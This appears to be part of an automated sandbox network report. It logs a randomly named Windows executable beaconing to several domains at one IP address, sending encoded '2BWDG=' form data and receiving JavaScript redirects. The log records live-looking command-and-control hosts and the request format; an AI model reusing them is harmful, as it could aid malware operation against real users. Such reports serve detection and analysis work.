2BWDG=CvM0dGRdIGjmMOWMOIyi43NMFuefjLcCoQAdI0L2KD3FLdlghFnFFgaUzgyocWqr3TMxGd1vggNjG+owUD7ZUdXwEcVQLojaMqNkcCilbzqCQKqoU9qOZ3DSQy5VGr4qD4oeVwfoVMlNfcLGAEeOiPYI1bZLzFegbRk8l+H4NrFEG/CVwuyWs7GvU7/gzoXvxlgBvumArKiycpuu/Fg6Ucw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50038	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:59.770391941 CEST	10989	OUT	POST /o6ua/ HTTP/1.1 Host: www.whiterabbitgroup.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.whiterabbitgroup.pro Referer: http://www.whiterabbitgroup.pro/o6ua/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 43 76 4d 30 64 47 52 64 49 47 6a 6d 4d 4f 57 4d 4f 49 79 69 34 33 4e 4d 46 75 65 66 6a 4c 63 43 6f 51 41 64 49 30 4c 32 4b 44 2f 46 4c 76 74 67 67 6d 66 46 45 67 61 55 74 77 79 74 63 57 71 4d 33 54 31 32 47 59 74 5a 67 6a 31 6a 48 66 49 77 44 47 50 5a 66 64 58 77 63 63 56 54 47 49 6a 4c 4d 70 31 34 63 47 2b 6c 62 7a 71 43 51 4d 4f 6f 53 73 71 4f 62 33 44 56 61 53 35 42 43 72 34 4f 44 37 59 6b 56 77 62 6e 55 38 46 4e 66 38 62 47 44 32 32 4f 2b 66 59 4b 37 37 5a 74 7a 46 61 7a 62 52 34 61 6c 2b 7a 53 4e 70 5a 45 51 62 33 4c 68 65 32 36 7a 61 2b 44 57 4d 54 32 39 34 47 70 33 33 49 50 6d 2b 36 2b 35 35 53 65 63 2b 4f 6e 72 48 63 4a 50 59 4d 37 68 6b 6f 35 72 64 52 4b 31 77 77 47 51 55 2b 56 35 6b 46 61 52 78 47 7a 53 48 30 4c 78 56 58 6e 5a 56 34 4c 4e 37 77 6b 51 38 32 44 51 31 76 37 6e 36 77 79 65 70 65 57 59 34 4e 38 39 41 45 6d 41 51 64 57 73 33 75 6b 67 4b 7a 4f 59 69 4b 72 65 58 69 79 4b 63 30 38 56 47 59 70 6d 31 79 62 55 4e 77 30 7a 4e 5a 52 4a 50 66 43 6a 74 34 51 50 63 6b 51 [TRUNCATED] Data Ascii: 2BWDG=CvM0dGRdIGjmMOWMOIyi43NMFuefjLcCoQAdI0L2KD/FLvtggmfFEgaUtwytcWqM3T12GYtZgj1jHfIwDGPZfdXwccVTGIjLMp14cG+lbzqCQMOoSsqOb3DVaS5BCr4OD7YkVwbnU8FNf8bGD22O+fYK77ZtzFazbR4al+zSNpZEQb3Lhe26za+DWMT294Gp33IPm+6+55Sec+OnrHcJPYM7hko5rdRK1wwGQU+V5kFaRxGzSH0LxVXnZV4LN7wkQ82DQ1v7n6wyepeWY4N89AEmAQdWs3ukgKzOYiKreXiyKc08VGYpm1ybUNw0zNZRJPfCjt4QPckQvLht/iOeCc50wvAptQpiMaoKmTDA1oUs/24NLV70Nk+U5/qGFcPLdXKH2VyCUSX9lomQcrEzhXHoJ9scdSdfaDfpk/zNz8Py59Qq5CbbwfiOscZpH1JKC9r/D2/y0J9h2bJDzlZco12x+eNzvXeKjjNfBY8SLgw3Bf75pLKEAZBgSm5dbGjO1GQQxguMyfBEPW5NY/Q0nRRICd4123Rm3T9DncGXwQH0A2UB7WigyGkkijQhtgRwfnsTdjBzJet754WYQSfgXjeHi/VD30XZXuBaOWkFykJz9VVvxkxw5ZAIcClx46noujEKKoZSXIdpFIWqNLtGAjaq05xthu2XASkeJUlogl42yZE5eijNMokT2xLf22slg1egn6gd7LKe1af36jA2Xur4cYLt/OioKHx8oej+OcCOq9Ymxl0fwBgDF6s0Y3mUzWuQ3rbXN73ZwjEidHsMCoeD57BYD+C36fqlsrMPGggCaCH4SyonD9zfhE6edBkXGbM5Niv7Z7aLVjjgA5HajdwAA7dQYgCjpCRiJfSZ78dtwqUwYJDWDLdlLSEidT2o+bX/sx46Y9dCMvhT5JbKimoxBtSJbDH66rmVwyNYScRkJ1wZ3+7O0JJ06Cm+ios5vwKkxbZ2dMOrUENrgs9B4EK9KR03JvUArm9I8LLnllsDNV [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50039	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:02.315072060 CEST	603	OUT	GET /o6ua/?wfm=G6oTo8vx&2BWDG=PtkUewcqXhXGGI7VMrya73N+Qsazq4YwnB9JayH4Wx/cNc5hllniCA+e9SSCe0uJ5GQ5bYdUyDtJB9Y3dlvxJqubD8cdfqbVHrRmeQrxGVujTIKJZNnfFV0= HTTP/1.1 Host: www.whiterabbitgroup.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:59:02.923027039 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 19 Oct 2024 10:59:02 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 77 66 6d 3d 47 36 6f 54 6f 38 76 78 26 32 42 57 44 47 3d 50 74 6b 55 65 77 63 71 58 68 58 47 47 49 37 56 4d 72 79 61 37 33 4e 2b 51 73 61 7a 71 34 59 77 6e 42 39 4a 61 79 48 34 57 78 2f 63 4e 63 35 68 6c 6c 6e 69 43 41 2b 65 39 53 53 43 65 30 75 4a 35 47 51 35 62 59 64 55 79 44 74 4a 42 39 59 33 64 6c 76 78 4a 71 75 62 44 38 63 64 66 71 62 56 48 72 52 6d 65 51 72 78 47 56 75 6a 54 49 4b 4a 5a 4e 6e 66 46 56 30 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?wfm=G6oTo8vx&2BWDG=PtkUewcqXhXGGI7VMrya73N+Qsazq4YwnB9JayH4Wx/cNc5hllniCA+e9SSCe0uJ5GQ5bYdUyDtJB9Y3dlvxJqubD8cdfqbVHrRmeQrxGVujTIKJZNnfFV0="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50040	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:07.984530926 CEST	857	OUT	POST /puvv/ HTTP/1.1 Host: www.bidiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.bidiez.com Referer: http://www.bidiez.com/puvv/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 65 39 6a 6e 44 78 42 7a 70 56 36 33 45 34 31 6f 4e 43 41 34 4a 57 30 74 38 66 54 71 4f 41 62 4f 46 31 43 43 74 47 55 56 4a 4f 53 71 59 64 6c 66 44 30 34 52 77 4b 43 4d 71 41 74 6c 7a 59 5a 39 6d 68 31 59 78 76 7a 44 76 75 43 69 32 6e 37 6f 66 6e 6c 56 2f 75 4e 33 4d 53 68 6f 65 30 64 50 48 4a 36 33 2f 4a 52 6c 37 66 30 6f 56 61 58 2b 63 44 6c 6f 43 62 52 78 32 2f 30 4d 59 61 4a 31 54 37 6e 42 45 43 61 4a 33 6c 57 59 53 71 45 4b 4f 49 62 4e 74 68 72 48 35 46 39 39 54 52 4f 69 62 30 73 42 51 53 35 79 62 78 53 58 2f 37 2f 34 4b 50 4d 6d 64 6f 75 4a 48 77 65 36 44 44 66 39 30 51 3d 3d Data Ascii: 2BWDG=e9jnDxBzpV63E41oNCA4JW0t8fTqOAbOF1CCtGUVJOSqYdlfD04RwKCMqAtlzYZ9mh1YxvzDvuCi2n7ofnlV/uN3MShoe0dPHJ63/JRl7f0oVaX+cDloCbRx2/0MYaJ1T7nBECaJ3lWYSqEKOIbNthrH5F99TROib0sBQS5ybxSX/7/4KPMmdouJHwe6DDf90Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50041	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:10.535514116 CEST	877	OUT	POST /puvv/ HTTP/1.1 Host: www.bidiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.bidiez.com Referer: http://www.bidiez.com/puvv/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 65 39 6a 6e 44 78 42 7a 70 56 36 33 46 59 46 6f 4d 68 59 34 50 32 30 73 32 2f 54 71 45 67 62 4b 46 31 2b 43 74 44 31 4f 4b 38 32 71 5a 2f 39 66 43 31 34 52 39 71 43 4d 79 51 74 67 33 59 5a 32 6d 6d 39 6d 78 75 50 44 76 71 71 69 32 6e 4c 6f 65 55 4e 57 2b 2b 4e 31 48 79 68 71 52 55 64 50 48 4a 36 33 2f 4a 45 34 37 66 63 6f 56 71 48 2b 54 43 6c 70 65 4c 52 32 78 2f 30 4d 63 61 4a 35 54 37 6e 76 45 44 47 7a 33 6e 2b 59 53 6f 63 4b 4f 38 50 53 30 52 71 74 6b 56 38 39 43 44 7a 6f 62 45 4a 39 54 52 45 64 59 43 2b 4d 2b 39 75 69 62 2b 74 78 50 6f 4b 36 61 33 58 4f 4f 41 69 30 76 5a 68 75 2b 74 48 4a 73 34 59 59 6f 4e 5a 72 52 77 51 2b 66 70 4d 3d Data Ascii: 2BWDG=e9jnDxBzpV63FYFoMhY4P20s2/TqEgbKF1+CtD1OK82qZ/9fC14R9qCMyQtg3YZ2mm9mxuPDvqqi2nLoeUNW++N1HyhqRUdPHJ63/JE47fcoVqH+TClpeLR2x/0McaJ5T7nvEDGz3n+YSocKO8PS0RqtkV89CDzobEJ9TREdYC+M+9uib+txPoK6a3XOOAi0vZhu+tHJs4YYoNZrRwQ+fpM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50042	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:13.087300062 CEST	10959	OUT	POST /puvv/ HTTP/1.1 Host: www.bidiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.bidiez.com Referer: http://www.bidiez.com/puvv/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 65 39 6a 6e 44 78 42 7a 70 56 36 33 46 59 46 6f 4d 68 59 34 50 32 30 73 32 2f 54 71 45 67 62 4b 46 31 2b 43 74 44 31 4f 4b 38 2b 71 59 4f 64 66 44 57 51 52 79 4b 43 4d 36 77 74 68 33 59 5a 33 6d 67 56 69 78 75 44 31 76 6f 53 69 33 47 72 6f 4b 78 78 57 77 2b 4e 31 49 53 68 72 65 30 64 67 48 4a 72 2f 2f 4a 55 34 37 66 63 6f 56 73 44 2b 55 54 6c 70 63 4c 52 78 32 2f 30 49 59 61 49 75 54 37 2f 5a 45 44 7a 45 32 58 65 59 54 49 4d 4b 4d 76 6e 53 72 68 72 4c 6e 56 38 54 43 44 2f 72 62 45 55 4d 54 51 78 41 59 42 69 4d 39 38 66 42 42 74 45 70 5a 59 69 39 4b 41 50 75 4b 6e 4b 54 71 59 31 35 2f 75 44 47 78 62 56 32 79 73 73 76 56 42 34 6b 4b 75 57 71 58 66 68 54 39 74 43 64 55 61 6e 32 74 44 37 6e 46 46 55 55 68 7a 33 2b 2b 45 45 68 46 4d 64 37 78 62 4a 78 56 37 34 6e 47 6d 7a 38 4a 31 46 4b 78 41 6f 39 64 48 55 44 73 67 64 76 46 48 45 70 49 6a 44 73 73 6a 39 52 45 38 44 38 46 32 6e 38 43 69 68 62 30 36 74 76 39 4b 31 71 2f 36 44 57 47 6d 69 66 4b 4b 63 72 62 64 4f 4e 7a 4d 41 55 4f 31 49 53 [TRUNCATED] Data Ascii: 2BWDG=e9jnDxBzpV63FYFoMhY4P20s2/TqEgbKF1+CtD1OK8+qYOdfDWQRyKCM6wth3YZ3mgVixuD1voSi3GroKxxWw+N1IShre0dgHJr//JU47fcoVsD+UTlpcLRx2/0IYaIuT7/ZEDzE2XeYTIMKMvnSrhrLnV8TCD/rbEUMTQxAYBiM98fBBtEpZYi9KAPuKnKTqY15/uDGxbV2yssvVB4kKuWqXfhT9tCdUan2tD7nFFUUhz3++EEhFMd7xbJxV74nGmz8J1FKxAo9dHUDsgdvFHEpIjDssj9RE8D8F2n8Cihb06tv9K1q/6DWGmifKKcrbdONzMAUO1ISkxghPsDbBx9EQJvbeXKCJ8wOPMkZlX4PKAQxaoKIjhF/uRM6ju/OQQaGh5IbqH/3vLKK0RsObdg0mix3LLpUBqPetyQO8hxThp6tGmMcgyNmccuDtB2idTOtWC9JRfomezxQocUUPZR72el4YY3oc3bc3+SZRjQ6A7UNfUy0uVFJRyPklBkcCELghwy0uTl79fcHAHutwit5TjUAfARHbtkMMr2m2VOv1WJ+D0CPFxOAWZHS2vL65Lpfko8LNX0wGlBEQZmpxk3wXFMmU8mL9IKYE09+5lgLSYp7syF9DtytxTZyPJi8bwjXNaU7Wl86mLwhQX9ihnTN8UmWrCS0aNsLoE4bb7UTmRraPD3JHpVxBDG8nXfZhjz1hITT7zU2oAY7hOvulCKm/CoFhJgfRoEs6CUVawqe8tEQtmQRADle/VG2lmPavjCp4/Ur8o/f96HvjVks87lj9oMyp13lbmhkaATwd+D5ld9m+MQ94ZDv8ilyC//Tct6djIBgs6J5vcM9Zt2pENG/kYZy04WqRNBQIEeEVKD8pTSGJT63tuPN7j+75mj0lX3fm1tkExV01G38E1TKQ6m6+zi+qIW994Y86m8sonfwSFD2L5blbE+kNCC4w7h6TAbGhWLA62vUTAAEILndSun8yiJ9Z7bA0detxc+fi33SEO [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50043	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:15.625636101 CEST	593	OUT	GET /puvv/?2BWDG=T/LHAG9D/DKJAY4cGgIDBFFZtM7APAzZIDfepGdmMtSSWfF7Llgex9+86BRulJJgtl8XrMP4vqS7406AXnp/ur5mLgtmNl9eCp3snLA44a4sQebgdSQlBLY=&wfm=G6oTo8vx HTTP/1.1 Host: www.bidiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:59:16.263792038 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 19 Oct 2024 10:59:16 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 32 42 57 44 47 3d 54 2f 4c 48 41 47 39 44 2f 44 4b 4a 41 59 34 63 47 67 49 44 42 46 46 5a 74 4d 37 41 50 41 7a 5a 49 44 66 65 70 47 64 6d 4d 74 53 53 57 66 46 37 4c 6c 67 65 78 39 2b 38 36 42 52 75 6c 4a 4a 67 74 6c 38 58 72 4d 50 34 76 71 53 37 34 30 36 41 58 6e 70 2f 75 72 35 6d 4c 67 74 6d 4e 6c 39 65 43 70 33 73 6e 4c 41 34 34 61 34 73 51 65 62 67 64 53 51 6c 42 4c 59 3d 26 77 66 6d 3d 47 36 6f 54 6f 38 76 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?2BWDG=T/LHAG9D/DKJAY4cGgIDBFFZtM7APAzZIDfepGdmMtSSWfF7Llgex9+86BRulJJgtl8XrMP4vqS7406AXnp/ur5mLgtmNl9eCp3snLA44a4sQebgdSQlBLY=&wfm=G6oTo8vx"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50044	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:21.323249102 CEST	866	OUT	POST /tlpb/ HTTP/1.1 Host: www.deltastem.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.deltastem.net Referer: http://www.deltastem.net/tlpb/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 44 62 50 49 53 59 76 34 77 50 6c 4f 7a 44 45 2b 61 62 61 5a 49 62 48 76 78 62 50 57 32 79 6c 55 77 46 37 32 54 76 38 59 45 68 37 79 46 5a 36 6b 66 62 55 47 56 73 2f 67 36 5a 54 5a 4d 74 4a 7a 51 47 6f 58 33 6a 2b 78 6a 59 49 72 56 69 52 62 67 34 6f 4f 76 4c 6f 35 6f 37 50 64 33 71 6a 44 32 72 44 76 70 47 74 5a 53 53 74 68 59 48 44 50 46 37 79 67 70 6e 2b 57 51 64 45 51 75 56 71 52 42 41 57 46 69 57 71 69 69 79 68 4c 5a 48 38 61 33 48 78 35 32 61 61 7a 70 32 42 6a 34 63 47 73 43 77 53 63 69 37 56 66 75 51 46 76 55 6f 62 73 51 6d 37 4b 62 5a 54 53 4b 36 54 53 31 30 30 68 66 77 3d 3d Data Ascii: 2BWDG=DbPISYv4wPlOzDE+abaZIbHvxbPW2ylUwF72Tv8YEh7yFZ6kfbUGVs/g6ZTZMtJzQGoX3j+xjYIrViRbg4oOvLo5o7Pd3qjD2rDvpGtZSSthYHDPF7ygpn+WQdEQuVqRBAWFiWqiiyhLZH8a3Hx52aazp2Bj4cGsCwSci7VfuQFvUobsQm7KbZTSK6TS100hfw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50045	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:23.867810011 CEST	886	OUT	POST /tlpb/ HTTP/1.1 Host: www.deltastem.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.deltastem.net Referer: http://www.deltastem.net/tlpb/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 44 62 50 49 53 59 76 34 77 50 6c 4f 31 6a 30 2b 4a 4d 4f 5a 4f 37 48 67 39 37 50 57 2f 53 6c 51 77 46 6e 32 54 71 51 75 45 30 6a 79 45 38 47 6b 4f 71 55 47 51 73 2f 67 78 35 54 59 43 4e 4a 36 51 47 30 68 33 68 36 78 6a 59 4d 72 56 67 4a 62 67 50 45 4e 75 62 70 66 7a 4c 50 62 35 4b 6a 44 32 72 44 76 70 47 35 6a 53 53 31 68 59 30 4c 50 45 5a 4b 6a 76 58 2b 58 45 4e 45 51 6b 46 71 56 42 41 57 6e 69 58 32 62 69 32 52 4c 5a 47 4d 61 35 32 78 36 2f 61 61 78 74 32 41 44 34 75 6a 47 62 41 4b 58 72 49 4e 72 67 77 77 50 63 4f 4b 32 42 58 61 64 4a 5a 33 68 58 39 61 6d 34 33 4a 6f 45 2f 4e 71 66 65 61 61 67 58 6d 44 69 38 62 49 67 45 62 33 39 6c 6b 3d Data Ascii: 2BWDG=DbPISYv4wPlO1j0+JMOZO7Hg97PW/SlQwFn2TqQuE0jyE8GkOqUGQs/gx5TYCNJ6QG0h3h6xjYMrVgJbgPENubpfzLPb5KjD2rDvpG5jSS1hY0LPEZKjvX+XENEQkFqVBAWniX2bi2RLZGMa52x6/aaxt2AD4ujGbAKXrINrgwwPcOK2BXadJZ3hX9am43JoE/NqfeaagXmDi8bIgEb39lk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50046	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:26.439686060 CEST	10968	OUT	POST /tlpb/ HTTP/1.1 Host: www.deltastem.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.deltastem.net Referer: http://www.deltastem.net/tlpb/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 44 62 50 49 53 59 76 34 77 50 6c 4f 31 6a 30 2b 4a 4d 4f 5a 4f 37 48 67 39 37 50 57 2f 53 6c 51 77 46 6e 32 54 71 51 75 45 33 44 79 45 4f 2b 6b 63 35 38 47 54 73 2f 67 74 4a 54 64 43 4e 49 36 51 47 38 39 33 68 32 2b 6a 61 45 72 61 6a 42 62 33 72 51 4e 6b 62 70 66 37 72 50 61 33 71 6a 73 32 72 7a 7a 70 47 70 6a 53 53 31 68 59 31 62 50 53 37 79 6a 30 58 2b 57 51 64 46 43 75 56 71 74 42 41 4f 64 69 58 43 4c 6a 48 74 4c 61 6c 6b 61 37 45 5a 36 77 61 61 33 67 57 41 68 34 75 66 64 62 41 58 75 72 4c 51 2b 67 7a 73 50 66 4a 2f 2f 63 57 32 6a 4c 2f 76 65 54 71 44 43 34 46 4e 51 46 76 64 4c 53 75 36 4f 79 30 57 74 70 2b 32 55 6b 6c 33 68 38 77 78 44 42 54 2b 34 35 58 36 4c 4d 54 50 4a 4b 4e 65 43 6b 78 38 76 31 43 38 58 54 47 39 64 6b 4f 39 36 6e 69 37 77 61 65 77 46 2b 36 2b 37 58 38 48 59 74 34 32 55 30 76 44 5a 62 71 68 54 32 52 78 78 6e 49 4b 32 37 73 52 4d 42 4d 39 4a 67 46 30 53 49 4d 6e 43 69 49 68 59 4b 35 32 67 48 48 67 71 37 59 49 6d 42 31 45 48 4e 43 70 4c 5a 7a 73 52 77 48 76 4b [TRUNCATED] Data Ascii: 2BWDG=DbPISYv4wPlO1j0+JMOZO7Hg97PW/SlQwFn2TqQuE3DyEO+kc58GTs/gtJTdCNI6QG893h2+jaErajBb3rQNkbpf7rPa3qjs2rzzpGpjSS1hY1bPS7yj0X+WQdFCuVqtBAOdiXCLjHtLalka7EZ6waa3gWAh4ufdbAXurLQ+gzsPfJ//cW2jL/veTqDC4FNQFvdLSu6Oy0Wtp+2Ukl3h8wxDBT+45X6LMTPJKNeCkx8v1C8XTG9dkO96ni7waewF+6+7X8HYt42U0vDZbqhT2RxxnIK27sRMBM9JgF0SIMnCiIhYK52gHHgq7YImB1EHNCpLZzsRwHvKY/uy0OsCz+J+Z/AOo7cV3aP2/73Qk1dzNM7ijzC5COu8S2vktlvEDJ309QVQ7+pKE+l07cA45qdPfqUtwEd+xqSjA62mLQmsB82EfyndlUOAg7P5WWOWyyURnluMyfQ977r+aspU6oAQyffPCJnS9J6v/RIsHHCgrZl4nPumS9E6IAZ8qLDDd5eZbFYUsAO+g8a9Fqf2hEhZ7MXOyYZlhSCTFrfk75dk1qOuMVU9XaeRUjy2JoYN2adT/WW9p5ukbAzLYz2X4Qp6xnIKsMRwa7QaLCwJ9AOshlOIpEKTWUFiZnK4FbLpMecu5mnuRlCg/Zxzq2P0/w8z6VuD4zlmLz13mK0P+3+8MOJ/WxCAd+D5NbXRBjNeeShqQb9SB5nArF42VO/sLBrBSivLgr+Va3t2Nd6P4oMqku+ePve1D/i+zi08WYRQ7TUTIj7aLxj9Xz+7gIz4dx6WU+/mQwLFT8hIAkxSn70S278nCrNgRF/Zxru8iK0V4XCKC+lySuFtCPnLZPgUa94d8BW6BeKTrXgWgpnildeI1CxJ9qunqEDoD2hWlI49cVdKqCVnu7HIc0G5BWNZuL0JzyRejCPvI+2Nmk8OfX9PJJyGNcOq+MoBRX2alh+sjX+ZAOHjOEIORpPa2Re9PSqmvLkBwxXaJtfaeBL8c0OhU0 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
